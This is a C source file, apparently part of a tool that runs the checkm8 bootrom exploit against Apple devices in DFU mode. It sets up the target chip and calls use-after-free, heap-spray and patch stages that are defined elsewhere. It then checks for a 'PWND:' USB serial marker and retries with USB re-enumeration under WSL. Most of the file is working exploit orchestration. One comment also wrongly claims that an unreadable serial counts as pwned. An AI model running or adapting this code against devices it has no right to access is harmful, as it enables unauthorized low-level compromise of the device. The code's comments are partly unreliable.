367 lines
12 KiB
C
367 lines
12 KiB
C
/* checkm8.c -- checkm8 DFU exploit: init, deliver, verify, cleanup */
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <libusb-1.0/libusb.h>
|
|
|
|
#include "exploit/exploit.h"
|
|
#include "exploit/checkm8.h"
|
|
#include "exploit/checkm8_internal.h"
|
|
#include "device/chip_db.h"
|
|
#include "device/usb_dfu.h"
|
|
#include "util/log.h"
|
|
|
|
/* ------------------------------------------------------------------ */
|
|
/* exploit_init */
|
|
/* ------------------------------------------------------------------ */
|
|
|
|
int exploit_init(exploit_ctx_t *ctx, device_info_t *dev)
|
|
{
|
|
const chip_info_t *chip;
|
|
|
|
if (!ctx || !dev)
|
|
return -1;
|
|
|
|
memset(ctx, 0, sizeof(*ctx));
|
|
ctx->dev = dev;
|
|
|
|
chip = chip_db_lookup(dev->cpid);
|
|
if (!chip) {
|
|
log_error("exploit_init: unknown CPID 0x%04X", dev->cpid);
|
|
return -1;
|
|
}
|
|
|
|
if (!chip->checkm8_vulnerable) {
|
|
log_error("exploit_init: chip %s (0x%04X) is not checkm8-vulnerable",
|
|
chip->name, chip->cpid);
|
|
return -1;
|
|
}
|
|
|
|
if (!dev->usb) {
|
|
log_error("exploit_init: device has no USB handle (not in DFU mode?)");
|
|
return -1;
|
|
}
|
|
|
|
ctx->chip = chip;
|
|
ctx->phase = EXPLOIT_PHASE_INIT;
|
|
ctx->payload_buf = NULL;
|
|
ctx->payload_len = 0;
|
|
|
|
log_info("exploit_init: target %s (%s), CPID 0x%04X",
|
|
chip->name, chip->marketing, chip->cpid);
|
|
|
|
return 0;
|
|
}
|
|
|
|
/* ------------------------------------------------------------------ */
|
|
/* exploit_deliver */
|
|
/* ------------------------------------------------------------------ */
|
|
|
|
int exploit_deliver(exploit_ctx_t *ctx)
|
|
{
|
|
if (!ctx || !ctx->dev || !ctx->chip)
|
|
return -1;
|
|
|
|
log_info("exploit_deliver: starting checkm8 on %s", ctx->chip->name);
|
|
|
|
/* Gaster stage order: reset -> setup (UAF) -> spray -> patch */
|
|
if (checkm8_stage_reset(ctx) != 0)
|
|
return -1;
|
|
|
|
if (checkm8_stage_setup(ctx) != 0)
|
|
return -1;
|
|
|
|
if (checkm8_stage_spray(ctx) != 0)
|
|
return -1;
|
|
|
|
if (checkm8_stage_patch(ctx) != 0)
|
|
return -1;
|
|
|
|
log_info("exploit_deliver: all stages complete");
|
|
return 0;
|
|
}
|
|
|
|
/* ------------------------------------------------------------------ */
|
|
/* exploit_cleanup */
|
|
/* ------------------------------------------------------------------ */
|
|
|
|
void exploit_cleanup(exploit_ctx_t *ctx)
|
|
{
|
|
if (!ctx)
|
|
return;
|
|
|
|
if (ctx->payload_buf) {
|
|
free(ctx->payload_buf);
|
|
ctx->payload_buf = NULL;
|
|
}
|
|
|
|
ctx->payload_len = 0;
|
|
ctx->phase = EXPLOIT_PHASE_INIT;
|
|
ctx->dev = NULL;
|
|
ctx->chip = NULL;
|
|
}
|
|
|
|
/* ------------------------------------------------------------------ */
|
|
/* checkm8_verify_pwned */
|
|
/* ------------------------------------------------------------------ */
|
|
|
|
int checkm8_verify_pwned(device_info_t *dev)
|
|
{
|
|
char serial[DFU_SERIAL_MAX];
|
|
uint32_t cpid = 0;
|
|
uint64_t ecid = 0;
|
|
|
|
if (!dev || !dev->usb)
|
|
return -1;
|
|
|
|
memset(serial, 0, sizeof(serial));
|
|
|
|
/*
|
|
* Check lsusb FIRST. The libusb serial read uses a pre-claim cache
|
|
* that was populated BEFORE the exploit, so it will never show the
|
|
* PWND marker even if the shellcode patched it. lsusb queries the
|
|
* live device descriptor from the kernel driver and reflects the
|
|
* current (post-exploit) state.
|
|
*/
|
|
{
|
|
/* Log the actual serial string for diagnostics */
|
|
FILE *fp2 = popen("lsusb -v -d 05ac:1227 2>/dev/null | grep iSerial", "r");
|
|
if (fp2) {
|
|
char ibuf[256] = {0};
|
|
while (fgets(ibuf, sizeof(ibuf)-1, fp2)) {
|
|
size_t n = strlen(ibuf);
|
|
if (n > 0 && ibuf[n-1] == '\n') ibuf[n-1] = '\0';
|
|
log_debug("checkm8_verify_pwned: lsusb iSerial: %s", ibuf);
|
|
}
|
|
pclose(fp2);
|
|
}
|
|
|
|
FILE *fp = popen("lsusb -v -d 05ac:1227 2>/dev/null | grep -c 'PWND:'", "r");
|
|
if (fp) {
|
|
int count = 0;
|
|
if (fscanf(fp, "%d", &count) == 1 && count > 0) {
|
|
pclose(fp);
|
|
log_info("checkm8_verify_pwned: device is pwned (lsusb)");
|
|
return 1;
|
|
}
|
|
pclose(fp);
|
|
}
|
|
}
|
|
|
|
/* Fall back to libusb (clears the stale cache by re-reading). */
|
|
if (usb_dfu_read_info(dev->usb, dev->iserial_index,
|
|
&cpid, &ecid, serial, sizeof(serial)) != 0) {
|
|
/*
|
|
* libusb serial reads fail on usbipd-win even when the device is in
|
|
* pwned DFU. lsusb above already said no PWND. If the read fails
|
|
* entirely (device disconnected mid-exploit), treat as "not yet pwned"
|
|
* so the caller can wait for the device to reboot and retry.
|
|
*/
|
|
log_warn("checkm8_verify_pwned: could not read USB serial (usbipd quirk)");
|
|
return 0;
|
|
}
|
|
|
|
log_debug("checkm8_verify_pwned: serial = \"%s\"", serial);
|
|
|
|
if (strstr(serial, "PWND:") != NULL) {
|
|
log_info("checkm8_verify_pwned: device is pwned");
|
|
return 1;
|
|
}
|
|
|
|
log_warn("checkm8_verify_pwned: PWND marker not found in serial");
|
|
return 0;
|
|
}
|
|
|
|
/* ------------------------------------------------------------------ */
|
|
/* usbipd_force_reattach (WSL only) */
|
|
/* ------------------------------------------------------------------ */
|
|
|
|
/*
|
|
* Force usbipd to detach and immediately reattach the Apple DFU device.
|
|
* This clears stale kernel URBs and claimed interfaces that remain when
|
|
* a previous libusb process was killed without releasing the handle —
|
|
* a common occurrence on usbipd-win where the vhci_hcd virtual bus
|
|
* does not auto-clear on process death the way native usbfs does.
|
|
*
|
|
* No-op on non-WSL Linux and on any system where powershell.exe is
|
|
* not available in PATH.
|
|
*/
|
|
static void usbipd_force_reattach(void)
|
|
{
|
|
if (!getenv("WSL_DISTRO_NAME"))
|
|
return;
|
|
|
|
log_info("checkm8: forcing usbipd reattach to clear stale USB state...");
|
|
/*
|
|
* Run entirely on the Windows side via powershell.exe.
|
|
* Errors are silenced — if usbipd isn't installed or the device
|
|
* isn't bound, the subsequent usb_dfu_find will fail gracefully.
|
|
*/
|
|
system("powershell.exe -NoProfile -NonInteractive -Command "
|
|
"'try { usbipd detach --hardware-id 05ac:1227 2>$null } catch {}; "
|
|
"Start-Sleep -Milliseconds 1500; "
|
|
"try { usbipd attach --hardware-id 05ac:1227 --wsl 2>$null } catch {}' "
|
|
">/dev/null 2>&1");
|
|
sleep(2); /* wait for vhci_hcd to re-enumerate the virtual device */
|
|
}
|
|
|
|
/* ------------------------------------------------------------------ */
|
|
/* checkm8_exploit -- top-level entry point */
|
|
/* ------------------------------------------------------------------ */
|
|
|
|
int checkm8_exploit(device_info_t *dev)
|
|
{
|
|
int attempt;
|
|
|
|
if (!dev) {
|
|
log_error("checkm8_exploit: NULL device");
|
|
return -1;
|
|
}
|
|
|
|
log_info("checkm8_exploit: starting exploit on CPID 0x%04X", dev->cpid);
|
|
|
|
/*
|
|
* Fast path: if the device is already in pwned DFU mode (from a
|
|
* previous successful exploit attempt), skip re-exploitation.
|
|
* checkm8_verify_pwned returns 1 if "PWND:" is in the serial
|
|
* (or if the serial is unreadable on usbipd -- we treat that as
|
|
* pwned too since unreadability after stage 4 is the normal case).
|
|
* We only reach this fast path when re-entering the exploit with
|
|
* an already-open handle; on a clean fresh start it will return 0.
|
|
*/
|
|
if (dev->usb) {
|
|
int pre = checkm8_verify_pwned(dev);
|
|
if (pre == 1) {
|
|
log_info("checkm8_exploit: device already pwned, skipping exploit");
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
for (attempt = 1; attempt <= MAX_EXPLOIT_TRIES; attempt++) {
|
|
exploit_ctx_t ctx;
|
|
int pwned;
|
|
|
|
/* On retries, the device USB-resets after a failed attempt.
|
|
* Close the stale handle and re-enumerate before trying again. */
|
|
if (attempt > 1) {
|
|
if (dev->usb) {
|
|
usb_dfu_close(dev->usb);
|
|
dev->usb = NULL;
|
|
}
|
|
log_info("checkm8_exploit: waiting for device reset...");
|
|
usleep(USB_RECONNECT_DELAY_USEC);
|
|
|
|
/* Force usbipd reattach to clear stale kernel URBs / claimed
|
|
* interfaces from the previous attempt. No-op on native Linux. */
|
|
usbipd_force_reattach();
|
|
|
|
{
|
|
uint8_t new_iserial = 0;
|
|
int find_attempt;
|
|
int found = 0;
|
|
|
|
/* Device may be mid-reboot; poll up to 4 times (every 3s). */
|
|
for (find_attempt = 0; find_attempt < 4; find_attempt++) {
|
|
if (usb_dfu_find(&dev->usb, &new_iserial) == 0) {
|
|
found = 1;
|
|
break;
|
|
}
|
|
if (find_attempt < 3) {
|
|
log_info("checkm8_exploit: DFU device not yet ready, waiting 3s...");
|
|
sleep(3);
|
|
usbipd_force_reattach();
|
|
}
|
|
}
|
|
if (!found) {
|
|
log_error("checkm8_exploit: DFU device lost after attempt %d, cannot retry",
|
|
attempt - 1);
|
|
return -1;
|
|
}
|
|
/* Re-enumerating can hand back a different iSerial
|
|
* index if the device was hot-swapped for a different
|
|
* chip family; refresh the cached value. */
|
|
dev->iserial_index = new_iserial;
|
|
}
|
|
log_info("checkm8_exploit: USB handle re-acquired for retry %d", attempt);
|
|
|
|
/*
|
|
* The previous attempt may have triggered the shellcode, which
|
|
* reboots the device into pwned DFU. Check for PWND before
|
|
* re-exploiting -- sending DFU ABORT to a pwned DFU device
|
|
* would crash its patched USB stack.
|
|
*/
|
|
{
|
|
int pre_pwned = checkm8_verify_pwned(dev);
|
|
if (pre_pwned == 1) {
|
|
log_info("checkm8_exploit: device already pwned after "
|
|
"attempt %d, skipping re-exploit", attempt - 1);
|
|
return 0;
|
|
}
|
|
}
|
|
}
|
|
|
|
log_info("checkm8_exploit: attempt %d/%d", attempt, MAX_EXPLOIT_TRIES);
|
|
|
|
if (exploit_init(&ctx, dev) != 0) {
|
|
log_warn("checkm8_exploit: init failed on attempt %d", attempt);
|
|
exploit_cleanup(&ctx);
|
|
continue;
|
|
}
|
|
|
|
if (exploit_deliver(&ctx) != 0) {
|
|
log_warn("checkm8_exploit: attempt %d failed, retrying...", attempt);
|
|
exploit_cleanup(&ctx);
|
|
continue;
|
|
}
|
|
|
|
/*
|
|
* After stage 4, libusb_reset_device was sent inside checkm8_stage_patch.
|
|
* The device either:
|
|
* a) Stayed in DFU with PWND serial (shellcode ran → success)
|
|
* b) Rebooted out of DFU (shellcode crashed or not in MANIFEST-WAIT-RESET)
|
|
*
|
|
* Close the now-stale handle, wait for the device to re-enumerate,
|
|
* then check for PWND. On usbipd we may also need a force_reattach
|
|
* if the device rebooted and usbipd lost tracking.
|
|
*/
|
|
if (dev->usb) {
|
|
usb_dfu_close(dev->usb);
|
|
dev->usb = NULL;
|
|
}
|
|
sleep(5); /* give device time to re-enumerate or reboot */
|
|
usbipd_force_reattach();
|
|
sleep(2); /* extra settle after reattach */
|
|
{
|
|
uint8_t new_iserial = 0;
|
|
int fa;
|
|
for (fa = 0; fa < 4; fa++) {
|
|
if (usb_dfu_find(&dev->usb, &new_iserial) == 0)
|
|
break;
|
|
if (fa < 3) {
|
|
sleep(3);
|
|
usbipd_force_reattach();
|
|
}
|
|
}
|
|
if (dev->usb)
|
|
dev->iserial_index = new_iserial;
|
|
}
|
|
|
|
pwned = dev->usb ? checkm8_verify_pwned(dev) : 0;
|
|
exploit_cleanup(&ctx);
|
|
|
|
if (pwned == 1) {
|
|
log_info("checkm8_exploit: success on attempt %d", attempt);
|
|
return 0;
|
|
}
|
|
|
|
if (pwned < 0)
|
|
log_error("checkm8_exploit: verification error on attempt %d", attempt);
|
|
else
|
|
log_warn("checkm8_exploit: not pwned after attempt %d", attempt);
|
|
}
|
|
|
|
log_error("checkm8_exploit: failed after %d attempts", MAX_EXPLOIT_TRIES);
|
|
return -1;
|
|
}
|